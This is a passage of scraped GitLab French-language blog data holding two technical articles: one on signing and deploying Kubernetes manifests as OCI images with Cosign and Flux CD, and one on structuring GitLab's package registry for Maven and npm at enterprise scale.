configuration des projets jusqu'à leur déploiement). Intégrés à la plateforme DevSecOps de GitLab, ces agents vous assistent à chaque étape de votre cycle de développement logiciel tout en garantissant la sécurité nécessaire et le contrôle total sur les processus et les données à l'échelle de votre entreprise.\n\n *Avertissement : cette page contient des informations relatives aux produits, fonctionnalités et outils à venir. Celles-ci ne sont fournies qu'à titre informatif. Veillez donc à ne pas vous fier à ces informations à des fins d'achat ou de planification. Comme pour tout projet, les éléments mentionnés sont susceptibles de changer ou d'être retardés. Le développement, la sortie et le calendrier de tout produit ou fonctionnalité restent à la seule discrétion de GitLab Inc.*",[1067,699,675,676,827,853],{"slug":1669,"featured":92,"template":683},"gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai","content:fr-fr:blog:gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai.yml","Gitlab Duo Workflow Enterprise Visibility And Control For Agentic Ai","fr-fr/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai.yml","fr-fr/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai",{"_path":1675,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1676,"content":1682,"config":1690,"_id":1692,"_type":16,"title":1693,"_source":17,"_file":1694,"_stem":1695,"_extension":20},"/fr-fr/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery",{"title":1677,"description":1678,"ogTitle":1677,"ogDescription":1678,"noIndex":6,"ogImage":1679,"ogUrl":1680,"ogSiteName":841,"ogType":842,"canonicalUrls":1680,"schema":1681},"Comment utiliser les images OCI comme source unique de vérité pour vos déploiements continus","Découvrez les avantages d'intégrer les images OCI (Open Container Initiative) dans vos workflows GitOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097601/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20Use%20this%20page%20as%20a%20reference%20for%20thumbnail%20sizes_76Tn5jFmEHY5LFj8RdDjNY_1750097600692.png","https://about.gitlab.com/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment utiliser les images OCI comme source unique de vérité pour vos déploiements continus\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Helfand\"}],\n        \"datePublished\": \"2025-02-19\",\n      }",{"title":1677,"description":1678,"authors":1683,"heroImage":1679,"date":1685,"body":1686,"category":928,"tags":1687,"updatedDate":1689},[1684],"Daniel Helfand","2025-02-19","Est-il encore approprié d'employer le terme [GitOps](https://about.gitlab.com/fr-fr/topics/gitops/) si vous ne déployez plus directement depuis un dépôt Git ? Git reste au cœur des workflows GitOps, c'est indéniable. Pourtant, de plus en plus d'équipes de développement choisissent de stocker leurs configurations d'infrastructure sous forme d'artefacts OCI (Open Container Initiative) dans des registres de conteneurs. Cette pratique gagne du terrain en tant que nouvelle source unique de vérité pour les déploiements GitOps. Découvrez dans cet article les raisons qui motivent cette tendance et comment les fonctionnalités de GitLab soutiennent cette amélioration des workflows GitOps. \n\n## Qu'est-ce que la pratique GitOps ?\n\nLe projet [OpenGitOps](https://opengitops.dev/) définit [quatre principes](https://opengitops.dev/#principles) qui encadrent la pratique GitOps :\n- Un [système géré par GitOps](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#software-system) doit [exprimer son état désiré de manière déclarative](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#declarative-description).\n- Cet état désiré doit être stocké dans un système garantissant l'immuabilité et la gestion des versions, et conserver un historique complet des versions.\n- Des agents logiciels doivent pouvoir effectuer automatiquement un pull des déclarations de l'état désiré depuis la source.\n- Ils doivent surveiller [en continu](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#continuous) l'état réel du système et [tenter de le faire converger vers l'état désiré](https://github.com/open-gitops/documents/blob/v1.0.0/GLOSSARY.md#reconciliation).\n\nUn exemple concret de pratique GitOps consiste à stocker les manifestes [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ? \") d'un microservice dans un projet GitLab. Ces ressources Kubernetes sont ensuite continuellement synchronisées par un [contrôleur](https://kubernetes.io/docs/concepts/architecture/controller/) s'exécutant sur le cluster Kubernetes hébergeant le microservice. Ainsi, les équipes de développement sont en mesure de gérer l'infrastructure avec les mêmes workflows que pour du code applicatif : ouverture de merge requests afin d'examiner et de valider les modifications et gestion des versions. La pratique GitOps présente également de nombreux avantages opérationnels. Par exemple, elle permet de [prévenir la dérive de configuration](https://about.gitlab.com/fr-fr/topics/gitops/#cicd) et facilite l'audit des modifications ayant conduit à un certain état du système ou à un incident lors des déploiements. \n\n## Avantages et limites de Git dans les workflows GitOps\n\nGit est sans conteste un composant essentiel des workflows GitOps. Cependant, les dépôts Git n'ont pas été conçus pour être utilisés directement par des contrôleurs GitOps lors des déploiements. Git offre aux équipes de développement la possibilité de collaborer sur les modifications d'infrastructure et d'auditer ces dernières ultérieurement, mais les contrôleurs GitOps n'ont pas besoin de récupérer l'intégralité d'un dépôt Git pour réussir un déploiement. Il leur suffit d'accéder aux définitions d'infrastructure spécifiques à un environnement donné. \n\nDe plus, un autre aspect important du processus de déploiement consiste à [signer et vérifier les déploiements](https://docs.sigstore.dev/about/overview/#why-cryptographic-signing) pour garantir que les modifications en lien avec un déploiement, apportées à un environnement, proviennent d'une source de confiance. Bien que les commit Git puissent effectivement être signés et vérifiés par les contrôleurs GitOps, ils peuvent également inclure des éléments sans lien direct avec le déploiement (par exemple, des modifications de documentation, des mises à jour pour d'autres environnements, ou une restructuration du dépôt Git) ou offrir une image de déploiement incomplète, car un déploiement peut être constitué de plusieurs commits. Là encore, il semble que cette fonctionnalité Git ne soit pas en adéquation avec les exigences spécifiques du déploiement continu.  \n\nLes workflows GitOps basés sur Git peuvent parfois conduire à un excès d'automatisation, ce qui peut être problématique. Par exemple, dès qu'une modification est fusionnée dans une branche surveillée, elle est déployée immédiatement. Il n'y a aucun mécanisme de contrôle dans le processus en dehors de Git. Comment avoir la certitude d'empêcher le déclenchement d'un déploiement un vendredi en fin d'après-midi ? Que se passe-t-il si les équipes responsables du déploiement ne disposent pas des autorisations nécessaires pour fusionner les modifications dans certains projets GitLab ? L'utilisation d'images OCI ajoute une étape intermédiaire au processus : un pipeline intégré au workflow. Celui-ci inclut toutes les fonctionnalités nécessaires au contrôle de la livraison, telles que des [approbations ou le gel des déploiements](https://docs.gitlab.com/ee/ci/environments/protected_environments.html).\n\n## Les images OCI\n\nL'[Open Container Initiative](https://opencontainers.org/) a contribué à définir des normes relatives aux formats de conteneurs. Bien que la plupart des équipes de développement aient l'habitude de créer des images de conteneurs à partir d'un fichier Dockerfiles, beaucoup ne sont peut-être pas aussi familiers avec le stockage des manifestes Kubernetes dans un registre de conteneurs. Étant donné que le [registre de conteneurs de GitLab](https://docs.gitlab.com/ee/user/packages/container_registry/) est conforme à la norme OCI, il permet aux utilisateurs d'effectuer le push des manifestes Kubernetes liés à un environnement particulier directement dans le registre de conteneurs. Au lieu de cloner un dépôt Git complet, les contrôleurs GitOps, tels que [Flux CD](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/), peuvent désormais récupérer uniquement l'artefact OCI contenant les manifestes nécessaires au déploiement. \n\nDans de nombreux workflows GitOps, un même dépôt Git regroupe les configurations d'infrastructure pour tous les environnements cibles dans lesquels un [microservice](https://about.gitlab.com/fr-fr/topics/microservices/ \"Qu'est-ce qu'un microservice ? \") sera déployé. En empaquetant uniquement les manifestes Kubernetes liés à un environnement spécifique dans une image OCI, Flux CD télécharge les fichiers strictement nécessaires au déploiement dans cet environnement spécifique. \n\n### Les atouts sécurité des artefacts OCI\n\nComme mentionné précédemment, signer et vérifier les artefacts à déployer dans un environnement ajoutent une couche de sécurité supplémentaire aux projets de développement logiciel. Une fois que les manifestes Kubernetes font l'objet d'un push dans un registre de conteneurs, un outil comme [Sigstore Cosign](https://docs.sigstore.dev/quickstart/quickstart-cosign/) peut être utilisé pour signer l'image OCI avec une clé privée, stockée en toute sécurité dans un projet GitLab en tant que [variable CI/CD](https://about.gitlab.com/fr-fr/blog/demystifying-ci-cd-variables/ \"Variables CI/CD\"). Flux CD peut ensuite utiliser une clé publique stockée sur un cluster Kubernetes pour vérifier et garantir que le déploiement provient d'une source fiable. \n\n## Push et signature des images OCI avec GitLab \n\nGitLab offre de nombreuses fonctionnalités qui simplifient le processus d'empaquetage, de signature et de déploiement d'images OCI dans des workflows GitOps. Une pratique courante consiste à structurer les projets GitLab en séparant le code des microservices d’un côté, et le dépôt de l’infrastructure de déploiement de l’autre. Ainsi, pour une application composée de `n` microservices, il est fréquent d'avoir `n +1` projets GitLab.\n\nLe projet de code produit généralement un artefact sous forme d'image de conteneur qui sera utilisée pour empaqueter l'application. Le projet d'infrastructure (aussi appelé projet de livraison) contient, quant à lui, les manifestes Kubernetes définissant toutes les ressources nécessaires pour que chaque microservice puisse monter en charge, recevoir et traiter le trafic des utilisateurs. L'artefact découlant de ce projet est généralement une image OCI servant à déployer l'application et d'autres manifestes sur Kubernetes. \n\nDans cette configuration, la séparation des environnements est gérée en définissant des manifestes Kubernetes dans des dossiers distincts représentant les environnements (par exemple, de développement, de préproduction et de production) qui hébergeront l'application. Lorsque des modifications sont apportées au code d'un microservice et qu'une nouvelle image de conteneur fait l'objet d'un push, il suffit alors de mettre à jour la référence de cette image dans le manifeste situé dans le dossier correspondant à l'environnement cible, puis de créer une merge request pour déployer ces modifications via l'intégration de GitLab avec Flux CD. Une fois cette merge request examinée, approuvée et fusionnée, le job CI/CD du projet de livraison déclenche le push d'une nouvelle image OCI que Flux CD récupérera et déploiera dans le nouvel environnement.\n\n![Images OCI - schéma du workflow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097611/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097611046.png)\n\nPour signer une image OCI, il vous suffit d'intégrer Cosign dans le job CI/CD de votre projet et de générer une nouvelle paire de clés publique/privée avec Cosign en exécutant localement les commandes ci-dessous. Veillez simplement à vous connecter à votre instance GitLab via l'[interface de ligne de commande glab](https://gitlab.com/gitlab-org/cli/#installation) et remplacez la variable [`PROJECT_ID`] dans la commande Cosign par l'[ID de votre projet de livraison](https://docs.gitlab.com/ee/user/project/working_with_projects.html#access-a-project-by-using-the-project-id).   \n\n```\nglab auth login\ncosign generate-key-pair gitlab://[PROJECT_ID]\n```\n\nUne fois la commande Cosign exécutée avec succès, les clés Cosign seront ajoutées à votre projet dans la section des variables CI/CD, sous les noms de clés `COSIGN_PUBLIC_KEY` et `COSIGN_PRIVATE_KEY`.\n\n### Exemple de job CI/CD\n\nVoici à quoi ressemblera un job GitLab CI/CD permettant d'effectuer un push d'une image OCI :\n\n```yaml\nfrontend-deploy:\n  rules:\n  - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    changes:\n      paths: \n      - manifests/dev/frontend-dev.yaml\n  trigger:\n    include:\n      - component: gitlab.com/components/fluxcd/oci-artifact@0.3.1\n        inputs:\n          version: 0.3.1\n          kubernetes_agent_reference: gitlab-da/projects/tanuki-bank/flux-config:dev\n          registry_image_url: \"oci://$CI_REGISTRY_IMAGE/frontend\"\n          image_tag: dev\n          manifest_path: ./manifests/dev/frontend-dev.yaml\n          flux_oci_repo_name: frontend\n          flux_oci_namespace_name: frontend-dev\n          signing_private_key: \"$COSIGN_PRIVATE_KEY\" \n```\n\nLe [catalogue GitLab CI/CD](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) comprend un [composant CI/CD maintenu par GitLab pour travailler avec les artefacts OCI et Flux CD](https://gitlab.com/explore/catalog/components/fluxcd). Ce composant permet aux équipes de développement d'effectuer un push des manifestes Kubernetes sous forme d'images OCI vers le registre de conteneurs de GitLab ou dans un registre de conteneurs externe, de signer ces image OCI à l'aide de Cosign et d'en déclencher immédiatement la synchronisation via Flux CD. \n\nDans l'exemple ci-dessus, le `component` Flux CD est inclus dans un fichier `.gitlab-ci.yml` d'un projet GitLab. À l'aide aux paramètres `inputs` du composant, les utilisateurs peuvent définir le registre de destination pour l'image (`registry_image_url` et `image tag`), le chemin d'accès aux manifestes Kubernetes qui feront l'objet d'un push (`manifest_path`), la clé privée Cosign utilisée pour signer l'image (`signing_private_key`), ainsi que l'espace de nommage Kubernetes et le nom de l'[OCIRepository](https://fluxcd.io/flux/components/source/ocirepositories/) de Flux CD nécessaires pour synchroniser les mises à jour vers l'environnement de déploiement (`flux_oci_namespace_name` et `flux_oci_repo_name`).\n\nLa variable `kubernetes_agent_reference` permet aux jobs GitLab CI/CD d'hériter automatiquement de la variable `kubeconfig` nécessaire pour accéder à un cluster Kubernetes, sans avoir à stocker manuellement une variable CI/CD `kubeconfig` dans chaque projet GitLab. En configurant [GitLab Agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/), vous pouvez configurer les jobs CI/CD de tous les projets GitLab dans un [groupe GitLab](https://docs.gitlab.com/ee/user/group/) et faire en sorte qu'ils héritent des autorisations nécessaires pour déployer sur le cluster Kubernetes. \n\nVous pouvez configurer le contexte de GitLab Agent for Kubernetes au même endroit que la configuration de GitLab Agent for Kubernetes dans votre groupe GitLab. Il est toutefois recommandé d'effectuer ces modifications dans le projet qui gère Flux CD. Pour en savoir plus sur la configuration de GitLab Agent pour l'accès CI/CD, consultez notre [documentation dédiée au workflow CI/CD](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html).\n\nPar ailleurs, les variables `$COSIGN_PRIVATE_KEY`, `$FLUX_OCI_REPO_NAME`, et `$FRONTEND_DEV_NAMESPACE` sont des variables CI/CD qui contiennent des données sensibles. Elles sont stockées tout en masquant leur contenu dans les logs CI/CD. Enfin, la variable `$CI_REGISTRY_IMAGE` est disponible par défaut dans tous les jobs GitLab et spécifie le registre de conteneurs associé au projet GitLab. \n\n### Déploiement des images OCI\n\nEn intégrant [Flux CD à vos projets GitLab](https://docs.gitlab.com/ee/user/clusters/agent/gitops/flux_tutorial.html), vous pouvez automatiser les déploiements ainsi que la vérification des signatures pour les environnements de vos microservices. Une fois que Flux CD est configuré pour se synchroniser avec un projet GitLab, vous pouvez simplement ajouter les [définitions de ressources personnalisées](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) Kubernetes suivantes à votre projet pour synchroniser votre image OCI dont le push a été effectué. \n\n```yaml\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: frontend-dev\n  labels:\n    name: frontend-dev\n---\napiVersion: bitnami.com/v1alpha1\nkind: SealedSecret\nmetadata:\n  name: cosign-public-key\n  namespace: frontend-dev\nspec:\n  encryptedData:\n    cosign.pub: AgAKgLf4VbVzJOmr6++k81LlFayx88AELaUQFNOaXmBF4G+fBfBYeABl0skNvMAa1UrPVNSfMIHgFoYHoO96g576a+epk6V6glOI+++XvYbfsygof3GGxe0nL5Qh2b3ge0fNpyd0kTPSjTj0YUhRhKtMGMRSRw1jrwhNcGxCHK+Byibs52v8Np49KsIkeZKbzLdgYABkrv+k0j7hQM+jR180NpG+2UiRvaXpPuogxkbj61FEqWGrJHk8IVyfl3eh+YhoXxOHGDqko6SUC+bUZPDBlU6yKegO0/8Zq3hwulrSEsEjzRZNK+RFVMOLWWuC6h+WGpYhAMcsZPwjjJ/y29KLNa/YeqkN/cdk488QyEFc6ehCxzhH67HxIn2PDa+KkEOTv2TuycGF+Q00jKIizXF+IwLx/oRb3pTCF0AoAY8D8N3Ey+KfkOjsBON7gGID8GbQiJqX2IgIZxFMk0JRzxbRKOEqn+guLd5Shj7CD1a1Mkk0DxBdbqrGv2XNYUaFPI7xd3rZXUJZlnv+fsmwswsiGWRuXwim45HScWzQnfgLAe7tv3spVEGeaO5apl6d89uN21PBQnfE/zyugB//7ZW9tSp6+CSMyc5HynxI8diafqiwKPgvzLmVWRnkvxJijoXicRr3sCo5RudZPSlnjfd7CKdhwEVvLl7dRR4e/XBMdxCzk1p52Pl+3/kJR+LJii5+iwOpYrpVltSZdzc/3qRd19yMpc9PWpXYi7HxTb24EOQ25i21eDJY1ceplDN6bRtop2quzkjlwVeE2i4cEsX/YG8QBtQbop/3fjiAjKaED3QH3Ul0PECS9ARTScSkcOL3I00Xpp8DyD+xH0/i9wCBRDmH3yKX18C8VrMq02ALSnlP7WCVVjCPzubqKx2LPZRxK9EG0fylwv/vWQzTUUwfbPQZsd4c75bSTsTvxqp/UcFaXA==\n  template:\n    metadata:\n      name: cosign-public-key\n      namespace: frontend-dev\n---\napiVersion: source.toolkit.fluxcd.io/v1beta2\nkind: OCIRepository\nmetadata:\n    name: frontend\n    namespace: frontend-dev\nspec:\n    interval: 1m\n    url: oci://registry.gitlab.com/gitlab-da/projects/tanuki-bank/tanuki-bank-delivery/frontend\n    ref:\n        tag: dev\n    verify:\n      provider: cosign\n      secretRef:\n        name: cosign-public-key\n---\napiVersion: kustomize.toolkit.fluxcd.io/v1\nkind: Kustomization\nmetadata:\n    name: frontend\n    namespace: frontend-dev\nspec:\n    interval: 1m\n    targetNamespace: frontend-dev\n    path: \".\"\n    sourceRef:\n        kind: OCIRepository\n        name: frontend\n    prune: true\n```   \n\nLa ressource [`Kustomization`](https://fluxcd.io/flux/components/kustomize/kustomizations/) permet de personnaliser davantage les manifestes Kubernetes, tout en spécifiant l'espace de nommage dans lequel déployer les ressources. La ressource `OCIRepository` de Flux CD, quant à elle, permet de spécifier la référence et le tag du dépôt d'images OCI à synchroniser régulièrement. Vous remarquerez également les champs `verify.provider` et `verify.secretRef` : ils permettent de vérifier que l'image OCI déployée sur le cluster a bien été signée avec la clé privée Cosign correspondante, utilisée précédemment dans le job CI/CD. \n\nLa clé publique correspondante doit être stockée dans un [secret Kubernetes](https://kubernetes.io/fr/docs/concepts/configuration/secret/) qui doit être présent dans le même espace de nommage que la ressource `OCIRepository`. Pour que ce secret soit géré par Flux CD et non stocké en texte brut, vous pouvez utiliser [SealedSecrets](https://fluxcd.io/flux/guides/sealed-secrets/) pour chiffrer sa valeur et la faire déchiffrer côté cluster par un contrôleur. \n\nSi vous souhaitez opter pour une approche plus simple sans SealedSecrets, vous pouvez [déployer le secret via un job GitLab CI/CD](https://docs.gitlab.com/ee/user/clusters/agent/getting_started_deployments.html) à l'aide de l'[interface de ligne de commande `kubectl CLI`](https://kubernetes.io/docs/reference/kubectl/). Il vous suffit alors de supprimer le SealedSecret inclus dans la configuration ci-dessus et d'exécuter un job CI/CD pour déployer le secret de clé publique avant de lancer le job qui effectuera un push de la nouvelle image OCI. Cette opération permet de stocker le secret en toute sécurité dans GitLab et d'y accéder sur le cluster par le biais de la ressource OCIRepository. Cependant, bien qu'elle soit moins complexe, cette approche ne permet pas de gérer les secrets en environnement de production. \n\n## Les avantages combinés des artefacts OCI, de GitLab et de GitOps\n\nLes artefacts OCI permettent aux équipes GitOps d'affiner leurs déploiements avec un niveau de sécurité renforcé et une approche plus minimaliste, sans priver les utilisateurs des atouts de Git, notamment une source unique de vérité et une collaboration efficace. Les images OCI introduisent une méthode d'empaquetage optimisée qui améliore le déploiement au sein des workflows GitOps.\n\nGitLab continue de s'améliorer grâce aux retours de ses clients et de la communauté cloud-native dans le but de simplifier les workflows GitOps. Pour tester les fonctionnalités présentées dans cet article, vous pouvez commencer par un [essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/). Nous serions ravis de connaître votre avis suite à l'utilisation de ces outils. Alors, n'hésitez pas à nous faire part de vos retours d'expérience sur le [forum de la communauté GitLab](https://forum.gitlab.com/t/oci-images-as-source-of-truth-for-gitops-with-gitlab/120965).\n",[110,913,1688,536,1047,1069],"kubernetes","2025-05-09",{"slug":1691,"featured":6,"template":683},"how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery","content:fr-fr:blog:how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery.yml","How To Use Oci Images As The Source Of Truth For Continuous Delivery","fr-fr/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery.yml","fr-fr/blog/how-to-use-oci-images-as-the-source-of-truth-for-continuous-delivery",{"_path":1697,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1698,"content":1704,"config":1709,"_id":1711,"_type":16,"title":1712,"_source":17,"_file":1713,"_stem":1714,"_extension":20},"/fr-fr/blog/structuring-the-gitlab-package-registry-for-enterprise-scale",{"title":1699,"description":1700,"ogTitle":1699,"ogDescription":1700,"noIndex":6,"ogImage":1701,"ogUrl":1702,"ogSiteName":841,"ogType":842,"canonicalUrls":1702,"schema":1703},"Comment structurer le registre de paquets de GitLab à l'échelle de l'entreprise","Découvrez comment tirer parti du modèle unique de publication des paquets par projet de GitLab, combiné à une utilisation centralisée au niveau du groupe racine.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662332/Blog/Hero%20Images/blog-image-template-1800x945__23_.png","https://about.gitlab.com/blog/structuring-the-gitlab-package-registry-for-enterprise-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment structurer le registre de paquets de GitLab à l'échelle de l'entreprise\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-02-19\",\n      }",{"title":1699,"description":1700,"authors":1705,"heroImage":1701,"date":1685,"body":1706,"category":676,"tags":1707,"updatedDate":1317},[846],"À mesure que les entreprises gagnent en taille et en complexité, la gestion des paquets développés en interne devient de plus en plus complexe. Alors que les gestionnaires de paquets traditionnels, comme JFrog Artifactory et Sonatype Nexus, utilisent un dépôt centralisé, GitLab adopte une approche résolument différente, adaptée aux pratiques des équipes de développement modernes. \n\nDécouvrez dans cet article comment structurer efficacement le registre de paquets de GitLab à l'échelle de votre entreprise, en prenant comme exemples les paquets Maven et npm.\n\n## Comprendre le modèle de registre de paquets de GitLab\n\nSi vous utilisez un gestionnaire de paquets traditionnel, l'approche de GitLab peut sembler différente au premier abord. Au lieu d'utiliser un dépôt centralisé unique, GitLab intègre la gestion des paquets directement dans la structure de vos projets et de vos groupes, et concrètement, cela implique que :\n\n- Vos équipes publient leurs paquets dans les projets spécifiques où réside le code source.\n- Vos équipes utilisent les paquets provenant des registres de groupe racine, qui regroupent tous les paquets des sous-projets.\n- Le contrôle d'accès hérite des autorisations que vous avez définies dans GitLab actuellement.\n\nCe modèle offre plusieurs avantages :\n\n- Une propriété claire des paquets, étroitement liée à leur code source.\n- Un contrôle d'accès granulaire, sans configuration supplémentaire.\n- Une intégration fluide et simplifiée aux pipelines CI/CD.\n- Un alignement naturel sur la structure des équipes.\n- Une URL unique permettant d'accéder à tous les paquets de l'entreprise via le groupe racine.\n\n ### La puissance du registre de paquets au niveau du groupe racine\n\nBien que GitLab prenne en charge l'utilisation de paquets à différents niveaux de groupe, l'utilisation au niveau du groupe racine est une bonne pratique adoptée par nos utilisateurs. Voici pourquoi :\n\n- **Point d'accès unique :** une seule URL permet d'accéder à l'ensemble des paquets privés de votre entreprise.\n- **Nommage cohérent des paquets :** les points de terminaison au niveau des groupes permettent aux équipes de conserver leurs conventions de nommage préférées, sans risque de conflits.\n- **Configuration simplifiée :** tous les développeurs peuvent utiliser la même configuration pour accéder aux paquets.\n- **Gestion sécurisée des accès :** associée aux tokens de déploiement, elle facilite la rotation et renforce le contrôle d'accès.\n- **Organisation hiérarchique :** elle reflète naturellement la structure de votre entreprise tout en garantissant un accès unifié.\n\n## Exemple concret : structure d'entreprise\n\nVoyons comment cela fonctionne dans la pratique avec une grande entreprise :\n\n```\ncompany/ (root group)\n├── retail-division/\n│   ├── shared-libraries/     # Division-specific shared code\n│   └── teams/\n│       ├── checkout/        # Team publishes packages here\n│       └── inventory/       # Team publishes packages here\n├── banking-division/\n│   ├── shared-libraries/    # Division-specific shared code\n│   └── teams/\n│       ├── payments/       # Team publishes packages here\n│       └── fraud/         # Team publishes packages here\n└── shared-platform/        # Enterprise-wide shared code\n    ├── java-commons/      # Shared Java libraries\n    └── ui-components/     # Shared UI components\n```\n\n### Configuration de la publication\n\nLes équipes publient leurs paquets dans les registres de leurs projets respectifs, assurant ainsi une propriété claire et bien définie :\n\n1. Exemple de paquets Maven\n\n```xml\n\u003C!-- checkout/pom.xml -->\n\u003CdistributionManagement>\n    \u003Crepository>\n        \u003Cid>gitlab-maven\u003C/id>\n        \u003Curl>${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/maven\u003C/url>\n    \u003C/repository>\n\u003C/distributionManagement>\n```\n\n2. Exemple de paquets npm\n\n```json\n// ui-components/package.json\n{\n  \"name\": \"@company/ui-components\",\n  \"publishConfig\": {\n    \"registry\": \"${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/\"\n  }\n}\n```\n\n### Configuration d'utilisation des paquets\n\nC’est ici que la puissance de l'utilisation au niveau du groupe racine prend tout son sens. Toutes les équipes configurent un point de terminaison unique pour accéder aux paquets :\n\n1. Exemple de paquets Maven\n\n```xml\n\u003C!-- Any project's pom.xml -->\n\u003Crepositories>\n    \u003Crepository>\n        \u003Cid>gitlab-maven\u003C/id>\n        \u003Curl>https://gitlab.example.com/api/v4/groups/company/-/packages/maven\u003C/url>\n    \u003C/repository>\n\u003C/repositories>\n```\n\n2. Exemple de paquets npm\n\n```\n# Any project's .npmrc\n@company:registry=https://gitlab.example.com/api/v4/groups/company/-/packages/npm/\n```\n\nCette configuration fournit automatiquement un accès à l'ensemble des paquets de votre entreprise, tout en conservant les avantages d'une publication basée sur les projets.\n\n## Authentification et contrôle d'accès\n\nLe modèle de GitLab simplifie l'authentification grâce aux tokens de déploiement et à l'intégration avec les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ? \").\n\n### Pour les pipelines CI/CD\n\nGitLab gère automatiquement l'authentification au sein des pipelines à l'aide du token `CI_JOB_TOKEN` :\n\n```yaml\n# .gitlab-ci.yml\npublish:\n  script:\n    - mvn deploy  # or npm publish\n  # CI_JOB_TOKEN provides automatic authentication\n```\n\n### Pour le développement\n\nUtilisez des tokens de déploiement définis au niveau du groupe pour accéder aux paquets, en suivant les étapes suivantes :\n\n- Créez des tokens de déploiement en lecture seule au niveau du groupe racine.\n- Effectuez régulièrement une rotation des tokens pour renforcer la sécurité. \n- Partagez une configuration unique entre tous les développeurs. \n\n## Les avantages du registre de paquets au niveau du groupe racine\n\n1. Configuration simplifiée\n   - Une seule URL pour accéder à tous les paquets.\n   - Une configuration cohérente entre toutes les équipes.\n   - Une rotation facile des tokens.\n2. Propriété claire\n   - Les paquets restent associés à leur code source.\n   - Les équipes conservent la maîtrise des publications.\n   - L'historique des versions est lié à l'activité du projet.\n3. Organisation naturelle\n   - Elle reflète fidèlement la structure de votre entreprise.\n   - Elle maintient l'autonomie de vos équipes.\n   - Elle facilite la collaboration transversale.\n\n## Étapes à suivre\n\n1. Configurez votre groupe racine\n   - Créez une structure de groupe claire.\n   - Configurez les contrôles d'accès appropriés.\n   - Créez des tokens de déploiement de groupe.\n2. Configurez les projets d'équipe\n   - Configurez la publication au niveau du projet.\n   - Intégrez les pipelines CI/CD.\n   - Documentez les conventions de nommage des paquets.\n3. Normalisez l'utilisation des paquets\n   - Configurez l'accès au registre du groupe racine.\n   - Partagez les tokens de déploiement en toute sécurité.\n   - Documentez le processus d'identification des paquets.\n\n## Résumé\n\nLe modèle de registre de paquets de GitLab, et en particulier l'utilisation au niveau du groupe racine, offre une puissante solution pour la gestion des paquets à l'échelle de l'entreprise. En combinant la publication par projet avec l'utilisation des paquets au niveau du groupe racine, les entreprises profitent des avantages de ces deux approches : une propriété claire et un accès simplifié. Cette approche évolue naturellement avec votre entreprise tout en garantissant la sécurité et la facilité d'utilisation.\n\nCommencez par mettre en œuvre ce modèle au sein d'une équipe ou d'une division pilote, puis étendez-le au reste de l'entreprise à mesure que vous constatez les avantages de cette approche intégrée. Bien que cet article se concentre sur Maven et npm, les principes évoqués ici s'appliquent à tous les types de paquets pris en charge par GitLab.\n\n> Lancez-vous avec les registres de paquets dès aujourd'hui ! Inscrivez-vous à un [essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/).\n",[784,1069,1708],"solutions architecture",{"slug":1710,"featured":92,"template":683},"structuring-the-gitlab-package-registry-for-enterprise-scale","content:fr-fr:blog:structuring-the-gitlab-package-registry-for-enterprise-scale.yml","Structuring The Gitlab Package Registry For Enterprise Scale","fr-fr/blog/structuring-the-gitlab-package-registry-for-enterprise-scale.yml","fr-fr/blog/structuring-the-gitlab-package-registry-for-enterprise-scale",{"_path":1716,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1717,"content":1723,"config":1728,"_id":1730,"_type":16,"title":1731,"_source":17,"_file":1732,"_stem":1733,"_extension":20},"/fr-fr/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab",{"title":1718,"description":1719,"ogTitle":1718,"ogDescription":1719,"noIndex":6,"ogImage":1720,"ogUrl":1721,"ogSiteName":841,"ogType":842,"canonicalUrls":1721,"schema":1722},"Comment automatiser la migration des images de conteneurs d'Amazon ECR vers GitLab","Suivez ce guide étape par étape pour automatiser le processus de migration de vos images de conteneurs d’Amazon ECR vers GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663129/Blog/Hero%20Images/blog-image-template-1800x945__28_.png","https://about.gitlab.com/blog/automating-container-image-migration-from-amazon-ecr-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment automatiser la migration des images de conteneurs d'Amazon ECR vers GitLab\",\n        \"author\": 